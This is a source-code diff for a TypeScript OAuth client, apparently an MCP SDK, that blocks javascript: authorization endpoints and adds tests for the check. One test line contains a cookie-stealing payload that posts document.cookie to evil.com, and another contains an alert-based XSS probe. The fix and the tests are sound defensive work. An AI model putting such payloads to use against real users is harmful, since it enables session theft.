fix(auth): prevent javascript url injection in oauth endpoints

src/client/auth.ts

@@ -12,7 +12,7 @@ import {
   OpenIdProviderDiscoveryMetadataSchema
 } from "../shared/auth.js";
 import { OAuthClientInformationFullSchema, OAuthMetadataSchema, OAuthProtectedResourceMetadataSchema, OAuthTokensSchema } from "../shared/auth.js";
-import { checkResourceAllowed, resourceUrlFromServerUrl } from "../shared/auth-utils.js";
+import { checkResourceAllowed, resourceUrlFromServerUrl, isAuthorizationEndpointSafe } from "../shared/auth-utils.js";
 import {
   InvalidClientError,
   InvalidGrantError,
@@ -774,10 +774,19 @@ export async function discoverAuthorizationServerMetadata(
     }
 
     // Parse and validate based on type
+    const responseData = await response.json();
+
     if (type === 'oauth') {
-      return OAuthMetadataSchema.parse(await response.json());
+      const metadata = OAuthMetadataSchema.parse(responseData);
+      if (!isAuthorizationEndpointSafe(metadata)) {
+        throw new Error(`Invalid OAuth metadata from ${endpointUrl}: authorization_endpoint uses javascript: scheme which is not allowed for security reasons.`);
+      }
+      return metadata;
     } else {
-      const metadata = OpenIdProviderDiscoveryMetadataSchema.parse(await response.json());
+      const metadata = OpenIdProviderDiscoveryMetadataSchema.parse(responseData);
+      if (!isAuthorizationEndpointSafe(metadata)) {
+        throw new Error(`Invalid OIDC metadata from ${endpointUrl}: authorization_endpoint uses javascript: scheme which is not allowed for security reasons.`);
+      }
 
       // MCP spec requires OIDC providers to support S256 PKCE
       if (!metadata.code_challenge_methods_supported?.includes('S256')) {

src/shared/auth-utils.test.ts

@@ -1,4 +1,4 @@
-import { resourceUrlFromServerUrl, checkResourceAllowed } from './auth-utils.js';
+import { resourceUrlFromServerUrl, checkResourceAllowed, isAuthorizationEndpointSafe } from './auth-utils.js';
 
 describe('auth-utils', () => {
   describe('resourceUrlFromServerUrl', () => {
@@ -58,4 +58,21 @@ describe('auth-utils', () => {
       expect(checkResourceAllowed({ requestedResource: 'https://example.com/folder', configuredResource: 'https://example.com/folder/' })).toBe(false);
     });
   });
+
+  describe('isAuthorizationEndpointSafe', () => {
+    it('should allow safe authorization endpoints', () => {
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/authorize' })).toBe(true);
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/auth' })).toBe(true);
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/tenant1/authorize' })).toBe(true);
+    });
+
+    it('should block javascript: authorization endpoints', () => {
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'javascript:alert("XSS")' })).toBe(false);
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'javascript:fetch("https://evil.com/steal",{method:"POST",body:document.cookie})' })).toBe(false);
+    });
+
+    it('should pass through for invalid URLs', () => {
+      expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'invalid-url' })).toBe(true);
+    });
+  });
 });

src/shared/auth-utils.ts

@@ -1,5 +1,5 @@
 /**
- * Utilities for handling OAuth resource URIs.
+ * Utilities for handling OAuth resource URIs and security validation.
  */
 
 /**
@@ -52,3 +52,22 @@ export function resourceUrlFromServerUrl(url: URL | string ): URL {
 
    return requestedPath.startsWith(configuredPath);
  }
+
+ /**
+ * Validates OAuth authorization endpoint to prevent JavaScript URL injection attacks.
+ * 
+ * Checks that the authorization_endpoint doesn't use the javascript: scheme, 
+ * which could lead to code execution when the client redirects users to it.
+ * 
+ * @param metadata - The OAuth authorization server metadata to validate
+ * @returns true if authorization endpoint is safe (no javascript: scheme), false otherwise
+ */
+export function isAuthorizationEndpointSafe(metadata: { authorization_endpoint: string }): boolean {
+  try {
+    const url = new URL(metadata.authorization_endpoint);
+    return url.protocol !== 'javascript:';
+  } catch {
+    // Invalid URL format - let other validation handle this
+    return true;
+  }
+}